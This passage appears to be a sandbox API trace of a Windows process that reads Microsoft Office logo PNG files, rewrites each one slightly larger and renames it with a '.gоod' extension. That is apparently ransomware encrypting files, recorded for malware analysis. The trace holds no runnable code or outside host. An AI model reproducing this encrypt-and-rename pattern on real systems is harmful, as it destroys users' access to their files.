[0227.366] GetFileType (hFile=0x858) returned 0x1 [0227.366] WriteFile (in: hFile=0x858, lpBuffer=0x38db980*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x38db980*, lpNumberOfBytesWritten=0x1fcee148*=0x860, lpOverlapped=0x0) returned 1 [0227.367] CloseHandle (hObject=0x858) returned 1 [0227.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png", lpFilePart=0x0) returned 0x57 [0227.367] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png.gоod", lpFilePart=0x0) returned 0x5c [0227.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0227.367] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x83bb45eb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x860)) returned 1 [0227.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0227.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.scale-80.png.gоod")) returned 1 [0227.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x64 [0227.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0227.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x38dcc80 | out: lpFileInformation=0x38dcc80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb7a)) returned 1 [0227.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0227.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x64 [0227.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0227.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0227.369] GetFileType (hFile=0x858) returned 0x1 [0227.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0227.369] GetFileType (hFile=0x858) returned 0x1 [0227.369] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xb7a [0227.369] ReadFile (in: hFile=0x858, lpBuffer=0x38ddb98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38ddb98*, lpNumberOfBytesRead=0x1fcee238*=0xb7a, lpOverlapped=0x0) returned 1 [0227.370] CloseHandle (hObject=0x858) returned 1 [0227.422] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x64 [0227.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0227.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0227.423] GetFileType (hFile=0x630) returned 0x1 [0227.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0227.423] GetFileType (hFile=0x630) returned 0x1 [0227.423] WriteFile (in: hFile=0x630, lpBuffer=0x370bb78*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x370bb78*, lpNumberOfBytesWritten=0x1fcee148*=0xb80, lpOverlapped=0x0) returned 1 [0227.424] CloseHandle (hObject=0x630) returned 1 [0227.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x64 [0227.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x69 [0227.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0227.424] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x83c4d030, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb80)) returned 1 [0227.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0227.425] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-100.png.gоod")) returned 1 [0227.425] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x64 [0227.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0227.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x370cec8 | out: lpFileInformation=0x370cec8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe7d)) returned 1 [0227.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0227.426] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x64 [0227.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0227.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0227.426] GetFileType (hFile=0x630) returned 0x1 [0227.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0227.426] GetFileType (hFile=0x630) returned 0x1 [0227.426] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xe7d [0227.426] ReadFile (in: hFile=0x630, lpBuffer=0x370e0e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x370e0e0*, lpNumberOfBytesRead=0x1fcee238*=0xe7d, lpOverlapped=0x0) returned 1 [0227.428] CloseHandle (hObject=0x630) returned 1 [0227.439] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x64 [0227.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0227.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0227.440] GetFileType (hFile=0x630) returned 0x1 [0227.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0227.440] GetFileType (hFile=0x630) returned 0x1 [0227.440] WriteFile (in: hFile=0x630, lpBuffer=0x378a088*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x378a088*, lpNumberOfBytesWritten=0x1fcee148*=0xe80, lpOverlapped=0x0) returned 1 [0227.441] CloseHandle (hObject=0x630) returned 1 [0227.441] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x64 [0227.441] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png.gоod", lpFilePart=0x0) returned 0x69 [0227.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0227.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x83c731be, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe80)) returned 1 [0227.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0227.442] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-140.png.gоod")) returned 1 [0227.443] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x64 [0227.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0227.443] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x378b3d8 | out: lpFileInformation=0x378b3d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a665235, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12d1)) returned 1 [0227.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0227.443] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x64 [0227.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0227.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0227.443] GetFileType (hFile=0x630) returned 0x1 [0227.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0227.443] GetFileType (hFile=0x630) returned 0x1 [0227.444] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0227.444] ReadFile (in: hFile=0x630, lpBuffer=0x378b8e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x378b8e0*, lpNumberOfBytesRead=0x1fcee2d8*=0x2d1, lpOverlapped=0x0) returned 1 [0228.091] CloseHandle (hObject=0x630) returned 1 [0228.551] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x64 [0228.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0228.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.568] GetFileType (hFile=0x82c) returned 0x1 [0228.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0228.568] GetFileType (hFile=0x82c) returned 0x1 [0228.568] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x12d1 [0228.589] WriteFile (in: hFile=0x82c, lpBuffer=0x36fed90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x36fed90*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0228.589] CloseHandle (hObject=0x82c) returned 1 [0228.589] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x64 [0228.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0228.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.589] GetFileType (hFile=0x82c) returned 0x1 [0228.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0228.590] GetFileType (hFile=0x82c) returned 0x1 [0228.590] ReadFile (in: hFile=0x82c, lpBuffer=0x37010c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x37010c8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0228.630] CloseHandle (hObject=0x82c) returned 1 [0228.630] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x64 [0228.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0228.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.631] GetFileType (hFile=0x82c) returned 0x1 [0228.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0228.631] GetFileType (hFile=0x82c) returned 0x1 [0228.631] WriteFile (in: hFile=0x82c, lpBuffer=0x35831f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x35831f0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0228.631] CloseHandle (hObject=0x82c) returned 1 [0228.631] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png", lpFilePart=0x0) returned 0x64 [0228.631] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png.gоod", lpFilePart=0x0) returned 0x69 [0228.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0228.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a63f068, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a63f068, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x847c63e5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12e1)) returned 1 [0228.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0228.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-180.png.gоod")) returned 1 [0228.632] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x63 [0228.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0228.633] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x35a2770 | out: lpFileInformation=0x35a2770*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19a06e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19a06e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a63f068, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d2)) returned 1 [0228.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0228.633] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png", lpFilePart=0x0) returned 0x63 [0228.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0228.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\msaccesslogo.contrast-black_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0228.633] GetFileType (hFile=0x82c) returned 0x1 [0228.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0228.633] GetFileType (hFile=0x82c) returned 0x1 [0228.633] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x9d2 [0228.633] ReadFile (in: hFile=0x82c, lpBuffer=0x35a34d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x35a34d0*, lpNumberOfBytesRead=0x1fcee238*=0x9d2, lpOverlapped=0x0) returned 1 [0229.154] CloseHandle (hObject=0x82c) returned 1 [0229.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsAccessLogo.contrast-black_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: 